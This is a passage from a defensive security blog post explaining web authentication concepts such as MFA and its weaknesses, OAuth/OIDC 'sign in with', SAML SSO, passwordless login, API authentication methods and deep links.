• Consumer Adoption — Despite the billions of brute force attacks happening each year, people still don’t think the risk/reward of enabling MFA makes sense.
• Phishing Scams/Smishing — There are nearly endless counts of phishing attempts happening each day. Attackers have kept up with advancements in security measures and still can convince users to provide their multifactor token. Obviously, never provide anyone with any authentication tokens or secrets.
• MFA Push Fatigue — Those using an authentication app that supports notifications for approving a login attempt are susceptible to this. It happens when an attacker has user credentials and they spam the user with MFA requests, in hopes they click approve to make the notifications go away.
• Device Compatibility — Not everyone has a smartphone and this means they can’t install an authentication app for soft tokens or MFA push notifications. This means SMS or a hard token are the only options which come with trade offs.

There is a wonderful list of scenarios maintained by NIST and some implementation guidance by Okta for further reading.

Pro tips:

• For the software developers and engineers potentially reading this: It’s easy to make something that should be simple, like authentication, complicated. Don’t make it complicated. Avoid adding any business logic in your Authentication flows. MFA bypasses based on a specific identity/username (think “testuser”) is a common mistake.
• Hardware tokens (something you have) remain one of the strongest multifactor solutions today but have a high operational overhead and can be lost. Pick where you want to use this based on risk.

How does “Sign In With” Work?

If you are reading this article, I would hazard a guess that you have seen “sign in with” on various websites.

Medium’s Sign in with page

Heck, even Medium has this feature. This is where you would use your already established identity with another application, such as Google, Facebook, Apple, or the like, to authenticate to another application. This is possible because of widely adopted industry standards like OAuth2 and OIDC which are used for authentication. It is worth noting that OAuth2 was purely designed as an authorization protocol and not authentication. These two terms are often confused. The kind folks in the OAuth2 community have done a fine job walking through this here.

This sign in with capability is possible because you are authenticating once with your Google account and then establishing a trust relationship between Google and whatever the third party application is to allow access (authorized) to that application post-authentication.

Super Basic “Sign In With” Flow

Is it safe? — Generally, yes, it’s safe when implemented correctly, however there are a large quantity of threat scenarios to consider which unfortunately manifest in the real world (1) (2) (3). One of the biggest issues in these flows is the implicit trust that sign in providers have, meaning applications generally trust the data in Google/Facebook/Apple to be true and accurate.

The implementation isn’t just the only thing to be concerned with but the permissions across the two systems is also important. The service you are looking to sign in to may request access to your personal data, so look out for what applications are requesting. You should also periodically review and prune based on usage.

What is Single Sign On (SSO)?

Hopefully you have read the previous section about “sign in with”. The concept is quite similar, but usually in practice Single Sign On (SSO) uses a different protocol, called SAML 2.0, to perform the authentication between the identity provider, idP, (Google in the previous section) and the service provider, SP, (third party application you want to access).

SAML 2.0 is very similar in concept to OAuth 2.0 in that it requires an exchange of identity information between trusted parties. applications. If you want your users to have accounts on many different services, and selectively grant access to various applications, use OAuth (application focused).

SSO is usually employed for business to business applications. This enables business users to maintain a single account and access many applications with it. There are quite large organizations that specialize in SSO as a product. One of the biggest is Okta.

Super Basic SSO SAML Flow

Pro Tip: Many businesses have decided to charge for SSO, despite it being an implementation of an industry standard. Feel free to peruse some known companies that do this at https://sso.tax/.

What is Passwordless Authentication?

The concept of “Passwordless” authentication is to use a non-password factor (see above in the MFA section for the list of common factors) as your primary factor for authentication instead of a password. In movies this is often a retinal scan, because it looks cool. In reality, there is Apple PassKey which is now accepted as a primary factor for consumers. This is indeed a strong way to ensure the requesting user owns the credentials being provided to the system. However, there are some drawbacks with this.

Currently, there is a very high and difficult bar to implement passwordless authentication at scale. The cost benefit analysis tips towards those with lots of privileged access in organizations, similar to hard tokens. Furthermore, the most likely passwordless factor is biometric, which raises privacy, accuracy, data storage concerns. A human’s biometrics can’t be changed if compromised. Microsoft has a detailed write up on how their Passwordless implementation works, with pictures of course.

The FIDO (Fast IDentity Online) Alliance is focused on helping with open authentication standards that reduce password based authentication. The FIDO2 standard incorporates the web authentication (WebAuthn) standard, which we have written about on this blog.

Pro Tip: We think for consumers passwordless authentication is still over the horizon, though Microsoft is getting close. For business users, we think players in the space are getting close, but really for only specific and highly privileged users.

What is API Authentication?

Let’s first start with: What is an API — Back to the jelly of the month subscription application example again. Let’s assume that the jelly of the month service has a feature to enroll you into a jelly enthusiast weekly newsletter that is provided by a third party. In order to subscribe to the newsletter, the jelly website will pass your email address to an API (application programming interfaces) that the newsletter makes available. This API will validate the jelly of the month website using some form of authentication.

Super Basic API Authentication Flow

Amazon Web Services (AWS) is one of the most prolific examples of APIs we can think of. It is an immense collection of APIs that its customers can use, mainly through HTTP, which is core to the internet. These APIs are designed to be accessible to the public internet. While they may be open to the broader internet, they require an identity to access, unless a resource is explicitly made open, such as static images for a marketing website.

OK, now onto API authentication…

Basic Authentication — As indicated by its name, basic Authentication is basic. This means it’s a username and a password, that’s all. The username and password will be base64 encoded and added as an HTTP header for the server to decode and validate. Note: Encoding is NOT encryption. This is why TLS (HTTPS) is important.

OAuth 2.0 Access Tokens — As mentioned earlier, OAuth is a standard protocol used for authorization but in the case of APIs, used in a specific way in the authentication flow of APIs. OAuth has what is known as access tokens, also known as JWT bearer tokens, which are provided by an OAuth Authorization server. There is a wonderful post by Nordic APIs on how this all works. These tokens authorize a relying party to act on behalf of those for whom the token is issued to. They are frequently used to access user profile information such as the user’s name and email address.

Mutual TLS (mTLS) — mTLS allows for each party in a connection, the client and the server, to verify each others’ identities. This form of Authentication leverages public key cryptography and the TLS encryption protocol. Trust is acquired from known certificate authorities. This differs from TLS where only the server provides its identity for verification by the client. More on the differences here.

Pro Tip: In practice you may see additional security controls placed on APIs, such as IP address or system based restrictions. This is not Authentication and should be treated as a secondary factor.

Bonus: What are Deep Links?

What happens when you try to access your email and you’re not logged in? You get redirected to the login page. After logging in, though, you are seamlessly redirected back to your email without having to manually navigate. How does this work? Enter deep links.

Deep links — A service provider/relying party user experience implementation detail. They allow a user to be sent directly to a specific application and/or page post-Authentication. Deep links are not explicitly part of the Authentication specs we have discussed but all said specs have a means of supporting them via a pseudo-session state. In SAML2, this is the “RelayState” parameter. In OAuth2/OIDC, this is the “state” parameter. An identity provider or Authorization server will always send this value back to the service provider/relying party post-Authentication.

Deep links are a type of link that sends users directly to an app instead of a website or a store. They are used to send users straight to specific in-app locations, saving users the time and energy locating a particular page themselves — significantly improving the user experience.

Deep linking does this by specifying a custom URL scheme (iOS Universal Links) or an intent URL (on Android devices) that opens your app if it’s already installed. Deep links can also be set to direct users to specific events or pages, which could tie into campaigns that you may want to run.

Pro tip: Deep Links and any Authentication flow for that matter can be fraught with security considerations that need to be accounted for. Issues such as open redirects, cross site request Forgeries, and clickjacking are serious concerns with Authentication.

Takeaways

1. Authentication is a simple process to validate a registered identity within an application. There are a lot of security implications with getting authentication wrong, which is why getting it right is so important.
2. Authorization is not authentication. It is the process to confirm an authenticated identity has access to something.
3. Passwords alone are no longer adequate to keep applications secure. MFA is here to stay for now and needs serious consideration by those companies who haven’t implemented it yet. For the strongest MFA today, use a hard token, but know that comes at a high management cost.
4. There is a lot of behind the scenes magic that happens to make authentication as frictionless as possible. The use of “sign in with” and Single Sign On (SSO) are becoming more widely adopted, which is fine, but be sure you review the permissions and data of each application.
5. We are eager for a phishing resistant and passwordless authentication solution, but there are a lot of challenges ahead to finding the right balance between cost and reward. Innovations that are happening today with FIDO2, Web Authn, and privacy standards are beginning to help.
6. Even more complicated authentication work flows, like deep links, make it convenient for the end user to get to resources but can be vulnerable to many different issues. For the security practitioners reading, we recommend you find the time reviewing your company’s authentication implementations.

Words of Wisdom

Authentication isn’t something we simply can’t ignore. Despite the collective decades of experience implementing and securing Authentication for companies, we remain with a feeling of continued curiosity as it evolves over time.

The only true wisdom is in knowing you know nothing. — Socrates

Contributions and Thanks

A special thanks to those who helped peer review and make this post as useful as it is: Marshall Hallenbeck, Keshav Malik, Abishek Patole, Evan Helbig, Byron Arnao, Sean McConnell, Luke Young, and Anand Vemuri.

A special thanks to you, the reader. We hope you benefited from it in some way and we want everyone to be successful at this. While these posts aren’t a silver bullet, we hope they get you started.

Please do follow our page if you enjoy this and our other posts. More to come!

Sursa: https://betterappsec.com/a-medium-dive-into-web-application-authentication-342d1d002a61